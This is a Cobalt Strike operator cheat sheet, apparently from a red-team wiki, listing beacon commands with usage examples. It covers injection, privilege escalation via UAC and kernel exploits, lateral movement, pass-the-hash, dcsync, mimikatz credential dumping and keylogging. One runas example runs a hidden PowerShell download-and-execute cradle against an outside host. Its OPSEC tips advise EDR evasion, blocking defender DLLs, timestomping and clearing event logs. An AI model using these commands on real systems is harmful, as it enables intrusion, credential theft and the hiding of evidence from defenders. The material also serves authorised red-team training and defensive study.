Cobalt Strike

[[Category:C2]]

Cobalt Strike Cheat Sheet

Listeners

Egress Listeners

• HTTP/HTTPS: The most basic payloads for beacon, by default the listeners will listen on ports 80 and 443 with always the option to set custom ports. You have the options to set proxy settings, customize the HTTP header or specify a bind port to redirect beacon’s traffic if the infrastructure uses redirector servers for the payload callbacks.
• DNS: A very stealthy payload options, provides stealthier traffic over the dns protocol, you need to specify the DNS server to connect to. The best situation to use this type of listener is in a really locked down environment that blocks even common traffic like port 80 and 443.

Pivot Listeners

• TCP: A basic tcp listener that bound on a spesific port.
• SMB: An amazing option for internal spread and lateral move, this payload uses named pipes over the smb protocol and is the best approach to bypass firewalls when even default ports like 80 and 443 are black listed.

Miscellaneous Listeners

• Foreign HTTP/HTTPS: These type of listeners give us the option to pass a session from the metasploit framework to cobalt strike using either http or https payloads. A useful example is to execute an exploit module from metasploit and gain a beacon session on cobalt strike.
• External C2: This is a special type of listener that gives the option to 3rd party applications to act as a communication medium for beacon.

Malleable C2 Profiles

In simple words a malleable c2 profile is a configuration file that defines how beacon will communicate and behave when executes modules, spawns processes and threads, injects dlls or touches disk and memory. Not only that, but it configures how the payload’s traffic will look like on a pcap, the communication interval and jitter etc.

The big advantage of custom malleable c2 profiles, is that we can configure and customize our payload to match our situation and target environment, that way we make our selves more stealthy as we can blend with the environment’s traffic.

Aggressor Scripts

Aggressor Script is the scripting language built into Cobalt Strike, version 3.0, and later. Aggresor Script allows you to modify and extend the Cobalt Strike client. These scripts can add additional functions on existing modules or create new ones.

Aggressor Script Tutorial

Common Commands

• help: Listing of the available commands.
• help <module>: Show the help menu of the selected module.
• jobs: List the running jobs of beacon.
• jobkill <id>: Kill selected job.
• run: Execute OS commands using Win32 API calls.
• shell: Execute OS commands by spawning “cmd.exe /c”.
• powershell: Execute commands by spawning “powershell.exe”
• powershell-import: Import a local powershell module in the current beacon process.
• powerpick: Execute powershell commands without spawning “powershell.exe”, using only .net libraries and assemblies. (Bypasses AMSI and CLM)
• drives: List current system drives.
• getuid: Get current user uid.
• sleep: Set the interval and jitter of beacon’s call back.
• sleep Usage:

sleep [time in seconds] [jitter]

i.e.

sleep 5 60
sleep 120 40

...

• ps: Listing processes.
• cd: Change directory.
• cp: Copy a local file on another local location.
• download/upload: Download a file and upload a local file.
• download/upload Usage:

download C:\Users\victim\Documents\passwords.csv
upload C:\Users\S1ckB0y1337\NotMalware\youvebeenhacked.txt

• cancel: Cancel a file download.
• reg: Query Registry.

Exploitation

• browserpivot: Will hijack a web session of internet explorer and make possible for us to browse the web as the victim’s browser, including it’s sessions, cookies and saved passwords.
• dcsync: Perform the DCsync attack using mimikatz.
• dcsync Usage:

dcsync [DOMAIN.fqdn] [DOMAIN\user]

i.e.

dcsync CORP.local CORP\steve.johnson

• desktop: Inject a VNC server on the beacon process and get a remote desktop view of the target.
• desktop Usage:

desktop [pid] [x86|x64] [high|low]

i.e.

desktop 592 x64 high
desktop 8841 x86 low

exclamation: The high/low arguments specify the quality of the session.

• dllinject/dllload: Inject a reflective dll into a process/Load a dll on current process.
• execute-assembly: Loads and executes a .NET compiled assembly executable completely on memory.
• execute-assembly Usage:

execute-assembly [/path/to/local/.NET] [arguments]

• inject: Inject a beacon payload on a specified process and spawn a new beacon session under it’s security context.
• inject Usage:

inject [pid] [x86|x64] [listener]

i.e.

inject 9942 x64 Lab-SMB
inject 429 x86 Lab-HTTPS

...

• kerberos*: Manipulate kerberos tickets.
• ppid: Spoofs the parent process of beacon for any post-exploitation child spawning job. That way we can hide our malicious post-exploitation jobs.
• psinject: Inject on a specified process and execute a command using powerpick’s functionality.

notebook: Powershell modules imported with powershell-import are available.

• runu: Run a command under a spoofed process PID.
• shinject: Inject shellcode into another a running process.
• shspawn: Create a new process and inject shellcode into it.
• shspawn Usage:

shspawn [x86|x64] [/path/to/my.bin]

i.e.

shspawn x64 /opt/shellcode/malicious.bin

Privilege Escalation

• elevate: Contains numerous ways to escalate your privileges to Administrator or SYSTEM using kernel exploits and UAC bypasses.
• elevate Usage:

elevate [exploit] [listener]

i.e.

elevate juicypotato Lab-SMB
elevate ms16-032 Lab-HTTPS

...

• getsystem: Attempts to impersonate system, if it fails we can use steal_token to steal a token from a process that runs as SYSTEM.
• getprivs: Same as metasploit’s function, enables all the available privileges on the current token.
• runasadmin: Attempts to run a command on an elevated context of Administrator or SYSTEM using a local kernel or UAC bypass exploit. The difference with elevate is that it doesnt spawn a new beacon, but executes a specified application of our choice under the new context.
• runasadmin Usage:

runasadmin [exploit] [command] [args]

i.e.

runasadmin uac-token-duplication [command]
runasadmin uac-cmstplua [command] 

Pivoting

• socks: Start a socks4a proxy server and listen on a specified port. Access through the proxy server can achieved using a proxy client like proxychains or redsocks.
• socks Usage:

socks [port]

i.e.

socks 9050

exclamation: This requires your /etc/proxychains.conf to be configured to match the port specified. If operating on Windows, your proxychains.conf file may be located in %USERPROFILE%.proxychains.conf, (SYSCONFDIR)/proxychains.conf, or (Global programdata dir).conf.

• covertvpn: Deploy a VPN on the current system, will create a new interface and merge it into a specified IP. Using this we can use a local interface to access the internal target network like we would do if we had a real connection through a router.

Lateral Movement

• portscan: Performs a portscan on a spesific target.
• portscan Usage:

portscan [ip or ip range] [ports]

i.e.

portscan 172.16.48.0/24 1-2048,3000,8080

The above command will scan the entire 172.16.48.0/24 subnet on ports 1 to 2048, 3000 and 8080. This can be utilized for single IPs as well.

• runas: A wrapper of runas.exe, using credentials you can run a command as another user.
• runas Usage:

runas [DOMAIN\user] [password] [command] [arguments]

i.e.

runas CORP\Administrator securePassword12! Powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.90:80/filename'))"

• pth: By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process.

exclamation: This module needs Administrator privileges.

• pth Usage:

pth [DOMAIN\user] [hash]

pth Administrator 97fc053bc0b23588798277b22540c40d
pth CORP\Administrator 97fc053bc0b23588798277b22540c40d

• steal_token: Steal a token from a specified process.
• make_token: By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
• jump: Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target.

exclamation: The jump module will use the current delegation/impersonation token to authenticate on the remote target.

muscle: We can combine the jump module with the make_token or pth module for a quick “jump” to another target on the network.

• jump Usage:

jump [psexec64,psexec,psexec_psh,winrm64,winrm] [server/workstation] [listener]

i.e.

jump psexec64 DC01 Lab-HTTPS
jump winrm WS04 Lab-SMB
jump psexec_psh WS01 Lab-DNS

...

• remote-exec: Execute a command on a remote target using psexec, winrm or wmi.

exclamation: The remote-exec module will use the current delegation/impersonation token to authenticate on the remote target.

• remote-exec Usage:

remote-exec [method] [target] [command]

• ssh/ssh-key: Authenticate using ssh with password or private key. Works for both linux and windows hosts. It gives you basic ssh functionality with some additional post exploitation modules.

Exflitration

• hashdump: Dump the local SAM hive’s NTLM hashes. This only dumps local machine user credentials.
• keylogger: Will capture keystrokes of a specified process and save them on a database.
• keylogger Usage:

keylogger [pid] [x86|x64]

i.e.

keylogger 8932 x64
keylogger

...

This command can also be used without specifying arguments to spawn a temporary process and inject the keystroke logger into it.

• screenshot: Will capture the screen of a current process and save it on the database.
• screenshot Usage:

screenshot [pid] [x86|x64] [run time in seconds]

i.e.

screenshot 1042 x64 15
screenshot 773 x86 5

• logonpassword: Executes the well know logonpasswords function of mimikatz on the current machine. This function of course uses process injection so isn’t OPSEC safe, use it with precaution.
• mimikatz: You can execute any function of mimikatz, mimikatz driver functionality is not included.

Miscellaneous

• spawn: Spawn a new beacon on the current machine, you can choose any type of listener you want.
• spawn Usage:

spawn [x86|x64] [listener]

i.e.

spawn x64 Lab-HTTPS
spawn x86 Lab-SMB

...

• spawnas: Spawn a new beacon on the current machine as another user by providing credentials.
• spawnas Usage:

spawnas [DOMAIN\user] [password] [listener]

i.e.

spawnas CORP\bob.smith baseBall1942 Lab-SMB
spawnas Administrator SuperS3cRetPaSsw0rD Lab-HTTPS

...

• spawnto: Sets the executable that beacon will use to spawn and inject shellcode into it for it’s post-exploitation functionality. You must specify a full path to the executable.

spawnto [x86|x64] [c:\path\to\whatever.exe] 

i.e.

spawnto x64 c:\programdata\beacon.exe
spawnto x86 c:\users\S1ckB0y1337\NotMalware\s1ck.exe

• spawnu: Attempt to spawn a session with a spoofer PID as its parent, the context of the process will match the identity of the specified PID.

spawnu [pid] [listener]

i.e.

spawnu 812 Lab-SMB
spawnu 9531 Lab-DNS

...

• argue: Will mask/spoof the arguments of a malicious command of our choice with legitimate ones.
• blockdlls: This module will create and set a custom policy on beacon’s child processes that will block the injection of any 3rd party dll that is not signed by microsoft, that way we can block any blue team tool that uses dll injection to inspect and kill malicious processes and actions.
• blockdlls Usage:

blockdlls [start|stop]

• timestomp: Tamper the timestamp of a file, by applying another file’s timestamp.
• timestomp Usage:

timestomp [fileA] [fileB]

i.e.

timestomp C:\Users\S1ckB0y1337\Desktop\logins.xlsx C:\Users\S1ckB0y1337\Desktop\notmalicious.xlsx

OPSEC Notes

• Session Prepping: Before engaging in any post-exploitation action after we have compromised a host, we should prepare our beacon to match the environments behaviour, that way we will generate the less amount of IOCs (Indicators Of Compromise) we can. To do that we can the “spawnto” module to specify which binary our child processes will use to execute post exploitation actions, also we can use the “ppid” module to spoof the parent process that our child processes will spawn under. Both those tricks will provide us with a good amount of stealth and will hide our presence on the compromised host.
• Environment Behaviour Blending: On a post exploitation context even when we are using the http(s) protocols to blend in with the environment’s traffic, a good endpoint security solution or a Next Generation firewall can figure out that some traffic is unusual to exist on this environment and will probably block and create telemetry to a SOC endpoint for the blue team to examine it. Thats where “Malleable C2” profiles come, it is a configuration file that each cobalt strike team server can use and it provides customization and flexibility for: beacon’s traffic, process injection, process spawning, behaviour, antivirus evasion etc. So the best practise is to never use default beacon behaviour and always use a custom profile for every assessment.

EDR Evasion Tools and Methods

• PEzor: PE Packer for EDR evasion.
• SharpBlock: A method of bypassing EDR’s active projection DLL’s by preventing entry point execution.
• TikiTorch: AV/EDR evasion using Process Hollowing Injection.
• Donut: Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
• Dynamic-Invoke: Bypassing EDR solution by hiding malicious win32 API calls from within C# managed code.

General Post-Exploitation TIPS

• Before executing anything be sure you know how it behaves and what IOCs (Indicators Of Compromise) it generates.
• Try to not touch disk as much as you can and operate in memory for the most part.
• Check AppLocker policies to determine what type of files you can execute and from which locations.
• Clean up artifacts immediately after finishing a post-exploitation task.
• Clean event logs after finishing with a host.

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